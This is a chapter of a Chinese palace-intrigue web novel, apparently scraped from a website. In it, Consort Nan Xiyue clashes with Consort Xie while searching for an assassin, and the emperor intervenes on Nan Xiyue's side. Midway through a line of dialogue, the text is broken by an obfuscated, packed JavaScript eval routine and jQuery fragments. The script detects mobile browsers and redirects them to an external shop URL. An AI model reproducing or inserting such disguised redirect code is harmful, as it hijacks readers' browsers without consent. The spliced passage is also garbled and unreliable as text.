2. 朔月(二)

作品:《拜月桃花

    想到刚刚那人可能中毒,南汐月登时心急如焚。无措间,她忽然想起,刚刚禁卫提到,刺客是往朝阳宫方向去的!


    南汐月不顾还有些酸痛的身体,转身捞起大氅,随手一披,即刻开门去寻。


    “娘娘!”


    正在外间熏香的鸢珠,见昭仪娘娘衣冠不整地要出宫去,登时吓了一跳。待她反应过来,宫门大敞,倩影已远,只留一抹凛冽幽香。


    “这是怎么了?”


    昭仪娘娘不但是她主子,还如今宫里最得宠的妃子!鸢珠顾不得其他,立刻甩下香粉,追了上去。


    雪后天色澄澈,月明星稀,南汐月在厚重的积雪间一路狂奔,即使发髻散乱、鞋袜湿了也顾不得。


    南汐月心中只有一个念想:他决不能出事。


    “站住!”一声娇喝突然响起,南汐月没心情理会,加快步伐,想把这些扰人的声音甩在身后。


    “给我拦住她!我倒要看看,是谁这样没规矩!”


    突然,从旁伸出两双有力的手,分别禁锢住南汐月的臂膀,令她动弹不得。


    南汐月被迫跪坐在冰冷的宫道上,她恼恨至极,猛然抬头盯着来人,目眦睁裂,几欲泣血。


    面前的谢淑妃原本气势汹汹,也被她突如其来的可怕神情震住了。


    “你——”


    自皇后病后,一直是谢淑妃协理后宫。不同于南汐月只得帝王怜惜恩宠,她作为实掌后宫之权者,风头一时无二。


    可这南昭仪位份虽低于她,却独得圣宠。淑妃心中不忿,自是处处针对。


    “哟,这行色匆匆,如丧考妣之人,竟然是南昭仪。”


    从谢淑妃的身后,又传来徐贤妃尖锐拿乔的声音,令人厌恶。


    徐贤妃可不同于淑妃。淑妃的娇纵跋扈,还可谓是因出身太尉府,乃将门虎女。可贤妃虽是御史家的女儿,却毫无史家风骨,一味奉承淑妃。


    “哟,咱忘了,南昭仪原是个公主呢。可这故国都亡了,就剩她一个在这里,不是‘如丧’,而是真丧啊!”贤妃继续折辱着南汐月。


    南汐月完全无视贤妃一贯的恶毒之语,她不断挣扎着,只想快快摆脱桎梏,去找那刺客。


    “娘娘,昭仪娘娘!”这时一道慌张的身影奔来,见此情形,顿时呆住了。


    原来是鸢珠。


    她本是跟着南汐月前后跑出,却在即将踏出宫门的那一刻,想起主子身上单薄的衣物,遂回身快速取了件氅衣,这才来迟。


    淑妃闻声,轻蔑地笑起来。挥了下手,一旁的内侍便将鸢珠也扣下,伏在南汐月身边。


    “淑妃娘娘,我家昭仪她身子弱,这天寒地冻,可使不得啊!”


    鸢珠面露惊恐,哀求着淑妃。


    “使不得是么?”


    只见淑妃突然抬手,一把抓起南汐月散乱的发髻。


    眼前佳人吃痛,却突然平静下来。她未戴风帽,眉眼都被冻得通红,那御寒的妃色芍药兔毛大氅下,只着一袭织金寝袍,看上去颇为狼狈。


    “松手。”


    南汐月声音冰冷,全然未顾位份尊卑。


    淑妃被那双凶狠的眸子瞪视着,不禁心头火起。


    “本宫记得,罚了你三个月禁足吧?”


    淑妃扯过南汐月的头,凑近自己身前,捏住她的下颌,神色狠厉。


    南汐月状若未见,唇角突然绽开一抹笑,眉眼弯弯。


    淑妃见她竟不惧,一时间有些怔住了。


    可下一刻,剧痛袭来。


    “啊——”


    扯住发髻的手骤然松开,南汐月被甩开在一旁,鸢珠惊呼,立刻上前拥住她。


    侍女护着主子,惊惧抬眼,只见淑妃的指尖上,赫然是一道深深的牙印,而南汐月的唇齿间淌着鲜血,滴于雪地上。


    “娘娘!娘娘!”


    淑妃身旁的宫人连忙围上来,又是查看伤势,又是传召女医,又是要替主子摁住昭仪治罪,朝阳宫门前刹那间乱作一团。


    “都别动!”


    淑妃松开被捏住的指尖,眼中尽是阴狠毒辣。


    她缓缓走近被内侍摁住的南汐月,用留着蔻丹长甲的手大力撕扯着南汐月,迫使她露出半边光洁的脸颊。


    “淑妃姐姐!”贤妃突然出声,想要拉住淑妃已经高高举起的手臂。


    此刻,南汐月堪堪抬眸,眼底是一片森冷与挑衅。


    淑妃快被气疯了。


    一介亡国玩物,竟能与她这样的高门贵女同在宫中,受尽恩宠不说,如今还敢伤她!


    “我看你是不要命了!”


    而南汐月却突然自暴自弃般任她摆布,唇边淌血,无谓地笑着,一双眼不知在看向什么地方。


    风声略过耳际,养尊处优的手已近在眼前。


    “此处好生热闹。”


    一道低沉的声音传来,夹杂着浓浓的不悦。


    “淑妃,你在闹什么?”


    宫人噤声,层层匍匐于地,直至剩下淑妃一人。


    龙颜触怒,淑妃的手掌堪堪停在半空,不敢再动。


    “臣妾见过皇上、皇后娘娘!”


    她跪下身子,颤声应答。


    而下一刻,她却猛然回头,一双吊梢凤眸,凶狠地射向已经脱离桎梏、趴伏在地的南汐月。


    女子雪肤血唇,在宫灯的映照下,显得有些凄厉。


    而众人身前,宫灯渐明,帝王高大的身形缓缓现出。


    大穆新帝霍峰昭,为穆国南征北战十年,开疆拓土,一统全国。虽已至而立之年,但却未损他高大紧实的身姿与硬朗如削的面庞。


    穆国先祖发迹于草原,因此带有胡人血统的帝王面容粗犷,高峻的眉骨上,两道粗眉浓重,其下是一双略微深陷的眼窝。他眼神深邃,犹如寒潭,却在扫视众人时目露锐利,不怒自威。


    看似行伍出身的糙汉,但却心思未明,城府颇深。直到如今,南汐月对他也是既厌恶、又惧怕的。


    许是刚沐浴过不久,霍峰昭并未束冠,透出一丝慵懒的气息。郑皇后跟在他身侧,帝后仪仗俱全,浩浩荡荡,安静不紊。


    “这是怎么回事?”


    皇后跟在皇帝身侧,一眼便看到指尖淌血的淑妃与狼狈伏地的南汐月,率先开口道。


    皇后郑关楠,为郑国公独女,当之无愧的世家之后。普天之下,若单论容貌,郑家女算不得突出,但论才德,整个穆国也无人能出其右。


    而郑皇后更是其中佼佼者。她与霍峰昭少年夫妻,曾为王妃时,就一直辅佐霍峰昭料理府务与封地事宜,端良淑娴,世人称赞。


    但经年累月的操劳,却坏了她的身子。刚刚登上后位,她便被御医诊出身体亏空,子嗣艰难。此后皇后便一直在凤仪宫中静养,六宫事宜皆交由淑妃。


    此刻皇后的问话,对淑妃而言,便是告状的良机。


    她抬眸,一双柳叶眉哀怨,惨然凄厉道:


    “陛下,皇后娘娘,南昭仪她伤了臣妾!”


    说话间,她抬起鲜血淋漓的手指。


    皇后眯起双眸,而皇帝微微略了一眼伤痕,便将目光望向被宫女搀起的佳人。


    只见她鬓发缭乱,衣着单薄,唇角还挂着血污。


    霍峰昭登时眉峰紧锁。


    “昭仪唇边的血迹,是怎么回事?”


    淑妃刚要开口,却不料一旁的侍女鸢珠已经出声道:


    “圣上,娘娘,昭仪听闻刺客一事后,便着急前来朝阳宫,哪成想被淑妃与贤妃二位娘娘拦下。昭仪一时情急,这才伤了淑妃娘娘。”


    淑妃被抢了话头,心下暗恨,赶忙道:“陛下,南昭仪唇边的血迹,尽是臣妾的指尖血啊!”


    霍峰昭闻言,神色未变,在淑妃殷切的目光下,挥了挥手,示意身旁的内常侍李忠禄。


    “娘娘,圣上亲赐,您披上吧。”


    “陛下——”


    淑妃面露惊惧,眼睁睁地看着李忠禄捧着黑貂裘衣向南汐月而去。


    她扑上前去,抓住帝王的袍裾哭诉道:“是南昭仪先伤了臣妾啊!”


    正当淑妃想再哭得凄惨些,身旁却多出了两双手,将她快速拉开皇帝身边。


    “朕都看到了,若不是你这双手先碰的南昭仪,她能伤到你?”


    这句话,已经表明了帝王的心意。


    淑妃跌坐于地,两眼木直。


    “且朝阳宫门前,你竟敢背着朕与皇后,私罚妃嫔。”


    他都没舍得动她一根指头,淑妃却端得是非打即杀的架势。


    淑妃闻言,恐惧更甚,双唇抖动着道:


    “陛下,此事臣妾知错了,可南昭仪她还违抗禁足,不顾宫规......”


    霍峰昭双眸沉沉,唇角紧抿,神色不耐。


    “她的禁足,朕今日解了。”


    淑妃的脸色愈发黯淡:“臣妾


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240958|197733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不知,陛下恕罪。”


    如今,便是如何辩解也无用了。


    “今夜宫中出了刺客,你代皇后掌管宫事,却在此时擅自惩罚妃嫔,无端添乱。”


    这刺客行事诡异,已经折了好几支精锐禁卫,若非今夜他偶然驾临凤仪宫,怕是免不了一场暴乱。


    霍峰昭本就为此烦扰,此时的淑妃自然更令他厌烦。


    “皇后如今精神尚佳,此后,你也不必再掌六宫事宜,回宫闭门思过去。”


    淑妃眼神彻底灰败,整个身子摇摇欲坠。


    她不但被南昭仪那贱人伤了,且皇帝也要剥夺她的权力,又要罚她禁足。


    “陛下,妹妹们在此,都是因刺客之事惦念着您。”皇后蹙眉,不忍地求情道:“且淑妃亦被南昭仪所伤,您可否轻责?”


    霍峰昭闻言,却并未看失魂落魄的淑妃,反而盯着南汐月。


    佳人周身狼狈,一看便是匆忙出门,帝王阴沉的眼神中,不禁泛起一丝柔色。


    宠了她这样久,即使两人之间有些龃龉,她到底也是惦念他的。


    思及此,帝王心情舒展了几分。


    “皇后仁德,那便只罚禁足吧。何时出来,看她表现。”


    “这……”看着皇帝威压的视线,皇后咽下了言语。


    罢了,皇帝偏心南昭仪,并非一两日了。


    而南汐月立在一旁,淑妃哭诉时,一言不发。


    她反倒渴望淑妃哭得争气些,令霍峰昭从此厌弃她。


    此刻南汐月真正挂念的,只有方才落入窗间的那道身影。


    她现在好担心,他是不是受伤了,是不是很痛?


    北境的冬天这样冷,若是痛倒在半路,即使不被禁军抓到,也会冻死的。


    她怔然盯着一角宫墙,神游在外。却因脑中思忖,陡然浑身打颤,眼含惧意。


    霍峰昭望向她,又抬头看了眼落雪的天边。


    “李忠禄,去抬暖轿。”


    “唯。”


    几个绿衣内侍抬出八宝铃銮轿,内常侍李忠禄躬身行至昭仪身前,伸手搭扶。


    南汐月此刻才如梦初醒,她被宫人们团团围住,想再去找那人已然不可能。


    而且霍峰昭还是没罚她,南汐月有些失落。


    她定定地看着李忠禄抬起的手臂,片刻后,还是轻轻搭上,往暖轿而去。


    可别再因为这种小事,再让霍峰昭寻到机会折腾她。


    登上轿阁的前一刻,她与皇后的视线对上。这个端方的女子向她宽慰一笑,她低下头,心底些许熨帖。


    她想起曾经在王府时,唯有还是王妃的皇后善待她。


    这样天寒地冻,她身体有恙,不该因这种闹剧,在风中站上这许久的。


    南汐月慌忙舔去唇角残存的血,却突然被满嘴血腥味呛咳不止。


    “都散了吧。”


    南汐月一走,帝王便不再停留,半部仪杖跟着撤进朝阳宫。


    “恭送皇上。”


    淑妃掩下满面怨毒与不甘,随郑皇后一道俯身行礼,直待帝王身影消失。


    “娘娘,您身子不好,早些回去安置吧。”凤仪宫掌事宫女清嘉,轻柔地扶起皇后。


    “清嘉。”“嗯?”


    “你都看到了。”郑皇后叹了口气。


    “眼下,即使南昭仪言行再无状,陛下也不舍罚她。”


    清嘉闻言,蹙着眉头,柔声道:“娘娘不必担忧,南昭仪再如何,也是越不过您的。”


    “本宫从未在意这些。”郑皇后轻咳几声。


    “娘娘,您还是要先顾念自己的身子。”清嘉心疼道。


    “陛下给了本宫皇后之位,便是因这病体,本宫自当知足。”


    皇后又恢复了一贯的端方,这是郑家女自幼的习惯。


    “至于其他,既然命中没有,自是不该强求。”


    此时,皇后突然想到,当初与南汐月一同在王府时的情形。


    那时皇帝还是王爷,可看向南昭仪的眼神,却如豺狼般炽热,且愈发不收敛。


    “陛下对南昭仪的心思,本宫从来都知道。”


    皇后眼露悲伤,笑意也变得苦涩。


    “而南昭仪的心思,本宫却不甚懂。”


    天下女子趋之若鹜的恩宠,南昭仪则愈发视若敝屣。


    这九重宫苑,尽是要依附于皇帝,唯有紫宸宫那位,令皇后琢磨不透。